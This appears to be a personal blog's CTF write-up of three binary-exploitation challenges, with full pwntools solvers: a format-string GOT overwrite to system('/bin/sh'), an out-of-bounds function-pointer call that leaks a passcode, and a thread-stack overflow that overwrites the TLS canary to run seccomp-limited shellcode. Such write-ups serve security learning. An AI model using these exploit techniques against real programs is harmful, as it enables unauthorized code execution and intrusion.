buddurid@CTF:~$ 

0xLaugh CTF | PWN writeups

Categories: PWN format-string TLS

some quick explanations + solvers


Yet Another Format String Bug

lets start by the disassembly

int __fastcall main()
{
  char buf[270]; // [rsp+0h] [rbp-110h] BYREF
  __int16 v5; // [rsp+10Eh] [rbp-2h]

  v5 = 0;
  setup(argc, argv, envp);
  do
  {
    read(0, buf, 0xFFuLL);
    printf(buf);
  }
  while ( v5 );
  return 0;
}

we have a one time format string vulnerability with fairly long input . Although it is possible to do a oneshot format string with the onegadgets but it’s a pain in the ass so we gonna look for restart .

How to restart :

  1. we look to restart by overwriting some GOT entry since the binary is PARTIAL-relro and NO pie . but this isnt feasable since there is no function we can call after printf . so we cant do it this way
  2. we can look to restart by overwriting the loop check variable (v5 in my case) . we can do it by partially modifying a stack pointer to make it point to rbp-0x2 then just %hhn into it

i found a good pointer at input+8 , that in most cases (sometimes gets it wrong in remote), requires only 1 nibble brute force , in other words 1/16 win chance .

from there it’s standart libc leak into system(/bin/sh) , i chose to overwrite printf GOT entry with system , so when we call printf(“/bin/sh) , what actually gets called is system("/bin/sh)

Solver

from pwn import *
from time import sleep
context.arch = 'amd64'

def debug():
        if local<2:
                gdb.attach(p,'''
                        b* main+67
                        c
                        ''')
###############   files setup   ###############
local=len(sys.argv)
exe=ELF("./yet_another_fsb")
libc=ELF("./libc.so.6")
nc="nc a7b542bc3fb6a4133c2d0774aa9033ca.chal.ctf.ae 443"
port=int(nc.split(" ")[2])
host=nc.split(" ")[1]

############### remote or local ###############
if local>1:
        p= remote(host, 443, ssl=True, sni=host)
else:
        p=process([exe.path])

############### helper functions ##############
def send():
        pass

############### main exploit    ###############

p.close()

def exploit():
        global p
        #p=process([exe.path])
        p= remote(host, 443, ssl=True, sni=host)
        payload="a%7$hhn".encode().ljust(8,b"a")
        brute=p8(0x30-2)
        payload+=brute
        #debug()
        p.send(payload)
        sleep(0.5)
        index=(0x118//8)+6
        p.sendline(f"bbbbbb%{index}$p")
        p.recvuntil("bbbbbb")
        sleep(0.5)
        libc.address=int(p.recv(14),16)-0x25c88
        log.info(hex(libc.address))
        log.info('hello')

        payload=fmtstr_payload(6,{0x404000:libc.symbols["system"]},write_size='byte')

        p.sendline(payload)
        #p.recvuntil(payload[:4])
        sleep(0.5)

        p.sendline("/bin/sh;")
        p.interactive()



i=1
while i:
        i=1
        try :
                exploit()
        except KeyboardInterrupt:
                print("bye")
                exit(1)
        except:
                p.close()



Wanna Play a Game?

lets disassemble the binary with ida

int __fastcall __noreturn main()
{
  __int64 v3; // [rsp+0h] [rbp-10h]
  __int64 v4; // [rsp+8h] [rbp-8h]

  setup(argc, argv, envp);
  printf("[*] NickName> ");
  if ( read(0, &username, 0x40uLL) == -1 )
  {
    perror("READ ERROR");
    exit(-1);
  }
  while ( 1 )
  {
    menu();
    v3 = read_int();
    printf("[*] Guess>");
    v4 = read_int();
    ((void (__fastcall *)(__int64))conv[v3 - 1])(v4);
  }
}

we have out of bounds function pointer call , and rdi of our choosing

unsigned __int64 __fastcall hard(__int64 a1)
{
  int i; // [rsp+14h] [rbp-2Ch]
  char path[8]; // [rsp+2Fh] [rbp-11h] BYREF
  char v4; // [rsp+37h] [rbp-9h]
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  strcpy(path, "<qz}<`{");
  v4 = 0;
  for ( i = 0; i <= 6; ++i )
    path[i] ^= 0x13u;
  if ( a1 == passcode )
  {
    puts("[+] WINNNN!");
    execve(path, 0LL, 0LL);
  }
  else
  {
    puts("[-] YOU ARE NOT WORTHY FOR A SHELL!");
  }
  change_passcode();
  return v5 - __readfsqword(0x28u);
}

if we provide the right passcode we get a shell

Plan :

  1. we can jump directly to the execve line , but rsi and rdi need to be nulled out and it wasnt the case
  2. we leak the passcode with printf(&passcode) then call hard(passcode) to WIN

for that , we need to write the printf GOT entry in Username to then call it with &passcode  » PASSCODE leaked and gg

solver :


from pwn import *
from time import sleep
context.arch = 'amd64'

def debug():
        if local<2:
                gdb.attach(p,'''
                        b* 0x000000000040162f
                        c
                        ''')
###############   files setup   ###############
local=len(sys.argv)
exe=ELF("./chall")
#libc=ELF("./libc.so.6")
nc="nc 3d5055083024005fa38ef5ab28953c07.chal.ctf.ae 443"
port=int(nc.split(" ")[2])
host=nc.split(" ")[1]

############### remote or local ###############
if local>1:
        p=remote(host, 443, ssl=True, sni=host)
else:
        p=process([exe.path])

############### helper functions ##############
def send():
        pass

############### main exploit    ###############
got=0x403f70
conv=0x404010
username=0x404080
passcode=0x404060
p.sendline(p64(passcode)+b"/bin/sh\x00")

sleep(0.5)
#debug()
p.sendline(str((got - conv + 8)//8))
p.recvuntil("[*] Guess>")
p.sendline(str(passcode))
p.recvuntil("> ")
leak=u64(p.recv(8))
print(leak)
sleep(0.5)
p.sendline("2")
p.recvuntil("[*] Guess>")
p.sendline(str(leak))
p.interactive()


Recover Your Vision

Checksec:
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x3fe000)
    Stack:      Executable
    RWX:        Has RWX segments
    RUNPATH:    b'.'
    Stripped:   No

int __fastcall main()
{
  pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF

  newthread[1] = __readfsqword(0x28u);
  setup(argc, argv, envp);
  puts("[*] Can you escape my jail?");
  if ( pthread_create(newthread, 0LL, vuln, 0LL) )
    exit(1);
  pthread_join(newthread[0], 0LL);
  return 0;
}

we have our main thread calling a new thread to execute vuln

int __fastcall vuln(void *a1)
{
  size_t nbytes; // [rsp+18h] [rbp-88h] BYREF
  _BYTE buf[120]; // [rsp+20h] [rbp-80h] BYREF
  unsigned __int64 v4; // [rsp+98h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  nbytes = 0LL;
  printf("[*] Buffer: %p\n", buf);
  printf("[*] What is the length of your shellcode: ");
  __isoc99_scanf("%d", &nbytes);
  getchar();
  printf("[*] Escape> ");
  disable();
  read(0, buf, nbytes);
  close(0);
  return close(1);
}

we also have the disable function which implements a whitelist seccomp :
```bash
seccomp-tools dump ./blind
[*] Can you escape my jail?
[*] Buffer: 0x7f5529d26e50
[*] What is the length of your shellcode: azeazeaz
[*] Escape>  line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0a 0xc000003e  if (A != ARCH_X86_64) goto 0012
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x07 0xffffffff  if (A != 0xffffffff) goto 0012
 0005: 0x15 0x05 0x00 0x00000000  if (A == read) goto 0011
 0006: 0x15 0x04 0x00 0x00000001  if (A == write) goto 0011
 0007: 0x15 0x03 0x00 0x00000002  if (A == open) goto 0011
 0008: 0x15 0x02 0x00 0x00000003  if (A == close) goto 0011
 0009: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0011
 0010: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x06 0x00 0x00 0x00000000  return KILL

only open , read and write are enabled , we cant escape the seccomp in our case so our plan is to open("./flag.txt") then read from it and write it to stderr (we are supposing that the server forwards stderr not only stdout which is the case) as stdin and stdout are closed .

so once we have code execution , we can get our flag .

Notes :

  • we have thread-stack leak
  • we have read into that buffer with any size we want » overflow
  • stack canary is enabled which adds another layer of complexity
  • NX is disabled which hints for ret2shellcode

first thoughts

  • we somehow manage to bypass canaries then return to our shellcode but HOW ?

after some thinking , i thought maybe it has something to do with our main thread (it isnt the case , its what i thought ) , so i needed to dive into gdb and see the memory mapping

dive into gdb

gef> vmmap
[ Legend:  Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start              End                Size               Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000001000 0x0000000000000000 r-- /home/kali/Desktop/CTFs/0xlaughCTF/pwn/3/blind
0x0000000000401000 0x0000000000402000 0x0000000000001000 0x0000000000001000 r-x /home/kali/Desktop/CTFs/0xlaughCTF/pwn/3/blind
0x0000000000402000 0x0000000000403000 0x0000000000001000 0x0000000000002000 r-- /home/kali/Desktop/CTFs/0xlaughCTF/pwn/3/blind
0x0000000000403000 0x0000000000404000 0x0000000000001000 0x0000000000002000 r-- /home/kali/Desktop/CTFs/0xlaughCTF/pwn/3/blind
0x0000000000404000 0x0000000000405000 0x0000000000001000 0x0000000000003000 rw- /home/kali/Desktop/CTFs/0xlaughCTF/pwn/3/blind
0x0000000000405000 0x0000000000426000 0x0000000000021000 0x0000000000000000 rw- [heap]

0x00007ffff758e000 0x00007ffff758f000 0x0000000000001000 0x0000000000000000 ---
0x00007ffff758f000 0x00007ffff7d8f000 0x0000000000800000 0x0000000000000000 rwx <tls-th2><stack-th2>  <-  $rdi, $r14

0x00007ffff7d8f000 0x00007ffff7d92000 0x0000000000003000 0x0000000000000000 rw- <tls-th1>
0x00007ffff7d92000 0x00007ffff7dba000 0x0000000000028000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7dba000 0x00007ffff7f1f000 0x0000000000165000 0x0000000000028000 r-x /usr/lib/x86_64-linux-gnu/libc.so.6  <-  $rcx, $rip
0x00007ffff7f1f000 0x00007ffff7f75000 0x0000000000056000 0x000000000018d000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f75000 0x00007ffff7f79000 0x0000000000004000 0x00000000001e2000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f79000 0x00007ffff7f7b000 0x0000000000002000 0x00000000001e6000 rw- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f7b000 0x00007ffff7f88000 0x000000000000d000 0x0000000000000000 rw-
0x00007ffff7f88000 0x00007ffff7f8a000 0x0000000000002000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.5
0x00007ffff7f8a000 0x00007ffff7f98000 0x000000000000e000 0x0000000000002000 r-x /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.5
0x00007ffff7f98000 0x00007ffff7fa6000 0x000000000000e000 0x0000000000010000 r-- /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.5
0x00007ffff7fa6000 0x00007ffff7fa7000 0x0000000000001000 0x000000000001e000 r-- /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.5
0x00007ffff7fa7000 0x00007ffff7fa8000 0x0000000000001000 0x000000000001f000 rw- /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.5
0x00007ffff7fc0000 0x00007ffff7fc2000 0x0000000000002000 0x0000000000000000 rw-
0x00007ffff7fc2000 0x00007ffff7fc6000 0x0000000000004000 0x0000000000000000 r-- [vvar]
0x00007ffff7fc6000 0x00007ffff7fc8000 0x0000000000002000 0x0000000000000000 r-x [vdso]
0x00007ffff7fc8000 0x00007ffff7fc9000 0x0000000000001000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7fc9000 0x00007ffff7ff0000 0x0000000000027000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ff0000 0x00007ffff7ffb000 0x000000000000b000 0x0000000000028000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ffb000 0x00007ffff7ffd000 0x0000000000002000 0x0000000000033000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000002000 0x0000000000035000 rw- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rwx [stack]  <-  $rsp, $r15
  • seeing this i discovered that the thread is mmaped memory within the same mapping (the 0x800000 chunk) , the thread also inherits the nx flag from the main thread which also makes its stack executable .
  • another thing worht mentionnoning , is the tls identification that the gef plugin adds , from previous knowledge , i know that the canary is stored inside this tls section . In fact , the fs within the sub rdx,QWORD PTR fs:0x28 is a pointer that points memory within the tls . you can look its value in gdb with ``p $fs_base` .
  • note that tls stands for thread local storage , which means every thread has its own tls , in other words the fs_base is also distinct for every thread . this also explains the tls-th1 and tls-th2 in vmmap output .
  • we have infinite overflow (if needed xD) so maybe we can access this fs section . lets return to gdb and breakpoint when the vuln is reading the canary
gef> p $rsp
$5 = (void *) 0x7ffff7d8de30   #### our input starting adress
gef> p $fs_base
$6 = 0x7ffff7d8e6c0
gef> p 0x7ffff7d8e6c0-0x7ffff7d8de30
$7 = 0x890   #### they are very close
gef> x/gx 0x7ffff7d8e6c0+0x28
0x7ffff7d8e6e8: 0x0f9195f8cfb01700  ### our canary

now the plan is set

Plan

  1. we set big input size : 0x1000 for example
  2. write our payload which looks like this : shellcode + p64(canary=0) + p64(rbp=JUNK) +p64(ret_adress= &shellcode) + padding_to_fs + p8(0)*0x28 + p64(canary=0)
  3. theoretically , the above 2 steps are enough , but the read() function uses the value at fs:0x10 for some example so we cant just overwrite it with 0 , we need to overwrite with its old value . And since the thread memory is all contiguous (in virtual at least xD) , and we have the leak , we can get its old value .

solver

from pwn import *
from time import sleep
context.arch = 'amd64'

def debug():
        if local<2:
                gdb.attach(p,'''
                        b* 0x0000000000401432
                        b* 0x00000000004014c9
                        c
                        x/20gx $rsp
                        ''')
###############   files setup   ###############
local=len(sys.argv)
exe=ELF("./blind_patched")
libc=ELF("./libc.so.6")
nc="nc 9ccd3876682d4ea8fcad09429d5797a5.chal.ctf.ae 443"
port=int(nc.split(" ")[2])
host=nc.split(" ")[1]

############### remote or local ###############
if local>1:
        p=remote(host, 443, ssl=True, sni=host)
else:
        p=process([exe.path])

############### helper functions ##############
def send():
        pass

############### main exploit    ###############

p.recvuntil("Buffer: ")
leak=int(p.recvline().strip(),16)
fs_base=leak-0x20+0x8a0
size=-0x20+0x8a0
log.info(hex(leak))
code=shellcraft.amd64.linux.open("./flag.txt",0)
code+=shellcraft.amd64.linux.read('rax',leak+0x500,0x50)
code+=shellcraft.amd64.linux.write(2,leak+0x500,0x50)


shellcode=asm(code)

payload=shellcode.ljust(0x80-8,b"a")
payload+=p64(0)*2
payload+=p64(leak)
payload=payload.ljust(size,b"\x00")
payload+=p64(fs_base) #0
payload+=p64(0x0000000000b7a2b0) #8
payload+=p64(fs_base) #0x10
payload+=p64(1) #0x18
payload+=p64(0) #0x20
payload+=p64(0) #0x28 our canary
log.info(str(fs_base-leak+0x30))
log.info(str(len(payload)))

p.sendline(str(fs_base-leak+0x30))

debug()

p.send(payload)


p.interactive()

good challenges , especially the last one was so creative . kudos to iyed and the other authors .